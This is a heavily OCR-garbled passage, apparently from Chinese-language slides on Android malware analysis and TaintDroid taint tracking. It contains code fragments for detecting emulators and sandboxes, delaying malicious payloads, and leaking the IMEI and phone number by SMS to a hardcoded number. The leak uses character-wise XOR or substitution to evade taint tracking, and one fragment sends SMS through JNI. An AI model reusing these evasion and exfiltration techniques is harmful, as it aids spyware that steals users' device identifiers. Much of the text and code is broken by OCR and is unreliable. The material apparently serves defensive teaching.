X

« EIGN

o FEAYHbA

» Taintdroid5zBaFAG N

- BREE5SmaliHook
FiA

- AFRPESTEDLE




2/ \
12 )

ol

 BIFESEREN

L)

TelephonyManager tm = (TelephonyManager)

getSystemService{Context .TELEPHONY_SERVICE);

if (tm *= null) ¢

String s = tm.getLine1Number();
if (s *= null)
return s.endsWith{"15555215554");

return false;|

YoEFa

{

NetworkOperatorgZ 5l

TelephonyManager tm = (TelephonyManager)
getSystemService(Context .TELEPHONY_SERVICE);

if (tm *= null) ¢
String s = tm.getNetworkOperatorName();
if (s *= null)
return s.equals{“Android");

}

return false;
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TelephonyManager tm = (TelephonyManager)
getSystemService(Context .TELEPHONY_SERVICE);

if (tm *= null) {
String s = tm.getDeviceld();
if (s *= null)
return s.equals("000000000000000");
}

return false;

-

B IES SRS

TelephonyManager tm = (TelephonyManager)
getSystemService(Context .TELEPHONY_SERUVICE);

if (tm *= null) ¢
String s = tm.getUoiceMailNumber();
if (s = null)
return s.endsWith{"155521750849")};
H

return false;




DEN
« BIFTROMIRIEIZ{4build.proply= 2l

public static boolean chkBuildProp() {|
return ReadFileToString("/system/build.prop"™)
.contains(“ro.product.brand=generic™);

il

o BT BE B WIFIST X MG

public static boolean chkWifiSupport(Context ctx) {
PackageManager pm = ctx.getPackageManager();
return pm.hasSystemFeature(pm.FEATURE_WIFI);
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void (void)
{
For(;;) {
_asm__ ("mov r@, %[global];"
mov r1, #1;"
*add r1, r1, 81;" “str r1, [r0];"
“add r1, r1, #1;" “str r1, [r0]:"
“add r1, r1, #1;" “str 1, [ro];"
“add r1, r1, #13™ “str r1, [r@)];"
“add r1, r1, #1;" “str r1, [r8];"
“add r1, r1, #1;" “str r1, [r8];"
*add r1, r1, #1;" “str r1, [r08];"
“add ri1, r1, #1;" “str r1, [r0];™
*add ri1, ri1, #1;" "str r1, [r8];"
“add ri1, r1, #1;" “str r1, [r8];"
“add r1, r1, 81;" “str r1, [r0];"
“add r1, r1, #1;" “str r1, [r@];™
add wad el B 2 Ve ba sad Feaaf@T a®*
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void* (void*)
{
for (53) {
(" Ox%x\n",
i
by

global_value)

4
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public boolean check() {

if (Build.PRODUCT == "sdk™)
return true;
return false;

i

# virtual methods

.nethod public check()2
.locals 2
.prologue
sget-object v, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
const-string v1, “sdk"
if-ne v@, v1, :cond_0
const/4 vl, 0x1
:goto_8
return v@
:cond_@
const/4 vl, Bx0
goto :goto_B

.end method

# virtual methods

.method public check()?2
.locals 2
.prologue
const-string v@, “GT-19000";
const-string v1, “sdk"
if-ne v@, v1, :cond_0
const/4 v@, Bx1
:goto_6@
return vl
:cond_@
const/4 v, 0x0
goto :goto_0

.end method
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« alarmzg |, sleep, timerzs, message

SEIRfHA

 FFBMessagefEiR300 AT EETE

Handler sleepHandler = new Handler();

Message msg = new Message();

msg.what = 1;

sleepHandler .sendMessageDelayed(msg , 30 * 60 * 1006);

public void handleMessage(Message msg) {
switch (msg.what) {
case 1:
doMalwareCode();
break;
b
H
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String imei = tm.getDeviceld();

String encryptImei = "*;

for (int i = @; 1 < imei.length(); +1) {
encryptImei += xor(imei.charAt(i), @x20);

¥

SmsManager sms = SmsManager.getDefoult();
sms.sendTextMessage("+8615801288445", null, encryptImei, null, null);

Taintdroid/&1#

o Taintdroid®E T Dalvik VM BBZIf—LELEHIfR
, TANT BCRYtRIC.

struct ArrayObject : Object {
/% number of elements; immutable after init */

ud length;
#1fdef WITH_TAINT_TRACKING

Taint taint;
#endi f

%

¥ Array contents; actual size is (length * sizeof (type)). This is

% declared as u3 so that the compiler inserts any necessary padding

*f (e. g. for EABI); the actual allocation may be smaller than 8 bytes.
*

u8 contents[1];

|
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case EVENT_GET_IMEI_DONE:
ar = (AsyncResult)msg. obj;

if (ar.exception != null) {
break;

mImei = (String)ar.result;
'/ begin WITH_TAINT_TRACKING
Taint. addTaintString(mImei, Taint. TAINT_IMEI);
TAINT TRACKING
break;

'/ end (P4

Taintdroid/51E
o EEEEIIFTRMCRIEREL

P

* public static void addTaintString(String str, int tag)

*f

static void Dalwik_dalwik_system_Taint_addTaintString(const ud¥ args
JValuek pResult)

{

Stringdbject *str0Obj = (Stringldbject*) args[0];
ud tag = args[1];
Array(bject *value = NULL;

1f (strObj) {

value = strObj-2array();
value-Dtaint. tag |= tag;
1

RETURN_YOID();

il
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// begin WITH_TAINT TRACKING
//public native char charAt(int index);
public native char charAt_intrinsic(int index);

public char charAt(int index) {

return Taint.addTaintChar(charAt_intrinsic(index), Taint.getTaintString(this)|Tair
1,
J

// end WITH_TAINT TRACKING

Taintdroid/51E
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private static String convertLong(AbstractStringBuilder sb, long n) {
int i = (int) n;
if (i ==n) {
return convertInt(sb, i);

}

{/ begin WITH_TAINT_TRACKING
int taint = Taint.getTaintLong(n);
{/ end WITH_TAINT_TRACKING

boolean negative = (n < 8);
if (negative) {

n = -n;

if (n < @) {

String quickResult =
{/ begin WITH_TAINT_TRACKING

Taint.addTaintString(quickResult, taint);
{/ end WITH TAINT TRACKING
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// begin WITH TAINT TRACKING
int tag = Taint.getTaintByteArray(pdu);
if (tag != Taint.TAINT_CLEAR) {
String tstr = "@x" + Integer.toHexString(tag);
Taint.log("GsmSMSDispatcher.sendSMS(" + tracker.mDestAddress
+ ") received data from app " + tracker.mAppPackage
+ " with tag " + tstr + " data=[" + tracker.mContents + "]");

L)

}

// end WITH TAINT TRACKING

TaintdroidSZ3FAIFaFAZIETFNZS

public static final int TAINT_CLEAR = 0x00000000;
public static final int TAINT_LOCATION = 0x00000001 ;
public static final int TAINT_CONTACTS = 0x00000002;
public static final int TAINT_MIC = 0x00000004 ;
public statiec final int TAINT_PHONE_NUMBER = 0x00000008;
public static final int TAINT_LOCATION_GPS = 0x00000010;
public static final int TAINT_LOCATION_NET = 0x00000020;
public static final int TAINT_LOCATION_LAST = 0x00000040;
public static final int TAINT_CAMERA = 0x00000080;
public static final int TAINT_ACCELEROMETER = 0x00000100;
public static final int TAINT_SMS = 0x00000200;
public statiec final int TAINT_IMEI = 0x00000400;
public static final int TAINT_IMSI = 0x00000800;
public static final int TAINT_ICCID = 0x00001000;
public statiec final int TAINT_DEVICE_SN = 0x00002000;
public static final int TAINT_ACCOUNT = 0x00004000;
public static final int TAINT_HISTORY = 0x00008000;
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String PhoneNumber = tm.getLinelNumber();
String encryptPhoneNumber = "";

for (int i = @; 1 < PhoneNumber.length(); ++i) {

switch {PhoneNumber.charat(i)) {

case '0":
encryptPhoneNumber += “1";
break;

case "1°:
encryptPhonelNumber += "“2";
break;

case "2°:
encryptPhoneNumber += "3";
break;

case '3":
encryptPhoneNumber += “4";
break;

case '4":

&
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bool dvmLoadNativeCode (const char* pathName, Object* classLoader
chart¥ detail)
i

SharedLib* pEntry;
void¥ handle;
bool werbose;

/* reduce noise by not chattering about system libraries */
verbose = !lstrnemp (patml:ame, "fsyslem", slzeof("}’system")—i);
verbose = verbose && !!strncmp (pathName, “fvendor”, sizeof (“fvendor”)-1);

if (verbose)
ALOGD ("Trying to load lib ¥s ¥p”, pathName, classLoader):

o] #ifdef WITH_TAINT_TRACKING

/f PJG: TODO: factor out this check

if (strnemp (pathWame, “/system”, sizeof ("/system”)-1) I= 0 &% stremp (pathName, “libjavacore.so”) !=0 &
ALOGK ("Denying lib %s (not \“/system\” prefix)\n“, pathName):

; return false;

if (strstr(pathName, “/../") I= NULL) {
ALOGH ("Denying 1ib %s (contains \*/../\")\n", pathName):
return false;

#endi f
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invoke-virtual/range {vO0 v5},

,aﬁaro,a.te lephony/ q"‘311..=a"a<;,<e'“—>sencl'T‘extMess;ag;ex
Ljava/lang/String:
Ljava/lang/String;
Ljava/lang/String:;
Landroid/app/PendingIntent;
Landroid/app/PendingIntent;)V




SmaliHook

smali {Xi8hookfg

invoke-virtual/range {v0 .. v5},
Len/am321/android/am321/util/HYClass; ->HY SmsManager sendTextMessage (
Ljava/lang/String;
Ljava/lang/String;
Ljava/lang/String;
Landroid/app/PendingIntent;
Landroid/app/PendingIntent;)V

kM

try

Z BRI 5L SmaliHook

{

PackageInfo packageInfo = getPackageManager().getPackagelnfo(
“com. ihuoyan.chkapk™, PackageManager.GET_SIGNATURES);

Signature[] signs = packageInfo.signatures;

Signature sign = signs[@];

int hash = sign.hashCode();

if (hash != -83656206) {
text.setText("Brana™);
} else {

text.setText ("Braausa™);

¥

} catch (Exception e) {}
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targetClass = (xenu)-> (env, “android/telephony/SmsHanager™);

if (ttargetClass)
return (*enu)-> i (env, “error targetClasst?');

methodId = (*enu)-> (env, targetClass, "getDefault™,
"({)Landroid/telephony/SmsHanager;');

if (tmethodId)

return (xenu)-> D (env, “error getDefault methodId?");
obj = (*enu)-> (env, targetClass, methodId);
if (tobj)

return {(xenuv)-> i (env, “‘error obj?");
methodId = (*enu)-> {env, targetClass, “sendTextMessage™

"(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;"
“Landroid/app/PendinglIntent;Landroid/app/PendingIntent;)u");

if (tmethodId)

return (*env)-> i (env, “error sendTextMessage methodId?*);
snum = (*enu)-> {env, "+8615801288445"");
stext = (*enu)-> {(env, "jni send message');
{(*enu)-> (env, obj, methodld, snum, NULL, stext, NULL, NULL);
__ = 40L 929_9n 0%
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 telnet localhost 5554

« sms send +10086 "hello world"
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